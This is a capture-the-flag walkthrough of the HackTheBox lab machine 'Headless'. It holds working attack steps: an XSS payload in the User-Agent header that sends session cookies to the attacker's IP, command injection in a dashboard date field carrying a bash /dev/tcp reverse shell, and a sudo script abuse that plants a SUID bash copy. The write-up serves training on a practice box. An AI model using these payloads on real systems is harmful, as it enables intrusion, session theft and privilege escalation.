Headless – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
Headless
in an easy box from HackTheBox
platform. From an initial scan we find that the target machine is running a webpage on port 5000
which is still on development. We see that this page has a form that we can fill. However, when we attempt some tricks the page detects “Hacking Attempts”. After analyzing it (and based on the machine name) we are able to inject XSS
payloads through the header requests. With this we obtain a cookie for a login panel, previously found through a Brute Force Directory Listing
. Login with this cookie shows a simple page that is used to schedule tasks. However, one of the parameters in this panel is vulnerable to Command Injection
, which allows us to gain access to the target machine. Once inside, we see that our impersonated user can run a script with sudo
. This script searches for another script in the current directory and executes it. Therefore, we create a malicious script in the current directory, execute the first script with sudo
and gain access as root
user; completing the machine.
User Link to heading
Nmap
scan shows only 2 ports open: 22
SSH
and 5000
:
❯ sudo nmap -sVC -p22,5000 10.10.11.8 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 21:04 -04
Nmap scan report for 10.10.11.8
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sun, 26 May 2024 01:04:46 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
<SNIP>
From the output, port 5000
shows that it is running Werkzeug
with Python
. So it is most likely a webpage running Flask
. We can verify this running WhatWeb
against the target and port 5000
:
❯ whatweb http://10.10.11.8:5000
http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2], Script, Title[Under Construction], Werkzeug[2.2.2]
Visiting the webpage http://10.10.11.8:5000
shows a message that says the site is not ready yet, and a timer:
There is a button that says For questions
. Clicking on it redirects to http://10.10.11.8:5000/support
and shows a “Contact form”:
If I attempt to check for some vulnerable parameters in this “Contact form” intercepting the data with Burpsuite
and then attempt, for example, a Cross Site Scripting
(XSS
) with the request:
POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 245
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
fname="http%3a//10.10.16.3%3a8000/fname"%3b>&lname="http%3a//10.10.16.3%3a8000/lname"%3b>&email="http%3a//10.10.16.3%3a8000/email"%3b>&phone="http%3a//10.10.16.3%3a8000/phone"%3b>&message=<img+src%3d"http%253a//10.10.16.3%253a8000/message"%253b>
The page displays a Hacking Attempt Detected
message:
At this point I will start searching for directories attempting a Brute Force Directory Listing
with Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.8:5000 -t 55 -x html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.8:5000
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
There is a /dashboard
directory, but it returns HTTP Code 500 (Internal Server Error)
.
Back to the “Contact Support”, I will send the request I previously made attempting a XSS
to the Repeater
to start playing with parameters. I will attempt to inject XSS
payloads from PayloadAllTheThings
using these examples. After many attempts there is one that works (as will be explained later). But unlike the previous attempts that were detected as “hacking attempts”, we are able to upload the XSS
payload:
<script>document.location="http://10.10.16.3:8000/xss-76.js?cookie="+btoa(document.cookie);</script>
where 10.10.16.3
is my attacker IP address and 8000
is a port that I will start listening with netcat
as follows:
❯ nc -lvnp 8000
listening on [any] 8000 ...
Then, if we also inject the XSS
payload in User-Agent
parameter (the header, which is a hint based on the machine name), instead of only on the POST
data, with the following request in Burpsuite
Repeater
:
POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: <script>document.location="http://10.10.16.3:8000/xss-76.js?cookie="+btoa(document.cookie);</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/support
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
fname=John&lname=Wick&email=test%40test.htb&phone=%2B5699999999&message=<script>document.location="http://10.10.16.3:8000/xss-76.js?cookie="+btoa(document.cookie);</script>
At least for me, I got nothing if I just put the payload in the User-Agent
. But when I triggered the message Hacking Attempt Detected
putting malicious data, and also putting the malicious payload on the User-Agent
I got in my netcat
listener:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.8] 47814
GET /xss-76.js?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1
Host: 10.10.16.3:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
So I decode the cookie from base64
:
❯ echo -n 'aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=' | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
where, I assume, it is a valid admin
cookie.
Back to directories found with Gobuster
I remember there was a /dashboard
directory. If I visit this page, it shows a simple message:
In Firefox
, I go to Storage
(press Ctrl+Shift+I
) and I can see that there is an is_admin
cookie. I will replace its value to the one found with the XSS
attack and refresh the page. Now we can see a new web:
If I click on Generate Report
the site just displays a message Systems are up and running!
, but -apparently- nothing else.
To see what this panel really does, I will start intercept the request sent, when we press the button Generate Report
, with Burpsuite
. The intercepted request is:
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-18
Let’s see if date
parameter allows us to inject commands. To do this we can just add to this parameter the command ; id
. So the request (with the payload) now looks like:
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-18; id
Once done that, we can see that the webpage displays something interesting:
it is displaying the output for id
command; so we have reached a Command Injection
.
I will just inject the payload:
bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'
where, again, 10.10.16.3
is my attacker IP and 443
is the port I will start listening with netcat
:
❯ nc -lvnp 443
listening on [any] 443 ...
Now, just include the malicious payload into the web request data with Burpsuite
, so the POST
request now looks like:
POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://10.10.11.8:5000
DNT: 1
Connection: close
Referer: http://10.10.11.8:5000/dashboard
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Upgrade-Insecure-Requests: 1
date=2023-09-18%3b+bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.3/443+0>%261'
We send the request and get a connection as dvir
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.8] 36576
bash: cannot set terminal process group (1353): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ whoami
whoami
dvir
Where we can get the user
flag at /home/dvir
directory.
Root Link to heading
We can see that this user can run one application with sudo
without providing password:
dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
I note that it is just a Bash
script:
dvir@headless:~/app$ file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable
but we can’t write on it:
dvir@headless:~/app$ ls -la /usr/bin/syscheck
-r-xr-xr-x 1 root root 768 Feb 2 16:11 /usr/bin/syscheck
Reading the script with cat /usr/bin/syscheck
we have:
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
I note that this script searches for an initdb.sh
file in the current directory and is executing it. So I run the following commands:
dvir@headless:~/app$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x' > ./initdb.sh
dvir@headless:~/app$ chmod +x ./initdb.sh
Basically, the first command is creating a simple Bash
file script with the content:
#!/bin/bash
cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x
which creates a copy of /bin/bash
binary and, to that copy, assigns SUID
permissions. So we can run it as the owner (which will be root
)
The second command (chmod +x ./initdb.sh
) is to assign it execution permissions and avoid problems.
Then, I just run:
dvir@headless:~/app$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.7G
System load average: 0.01, 0.03, 0.13
Database service is not running. Starting it...
I can check that my malicious file has been created:
dvir@headless:~/app$ ls -la /tmp
total 1288
drwxrwxrwt 13 root root 4096 May 26 05:32 .
drwxr-xr-x 18 root root 4096 Feb 16 23:49 ..
drwxrwxrwt 2 root root 4096 May 25 21:31 .font-unix
-rwsr-xr-x 1 root root 1265648 May 26 05:32 gunzf0x
drwxrwxrwt 2 root root 4096 May 25 21:31 .ICE-unix
<SNIP>
and we finally run it with -p
flag to run it with the owner permissions:
dvir@headless:~/app$ /tmp/gunzf0x -p
gunzf0x-5.2# whoami
root
We can get the root
flag at /root
directory.
~Happy Hacking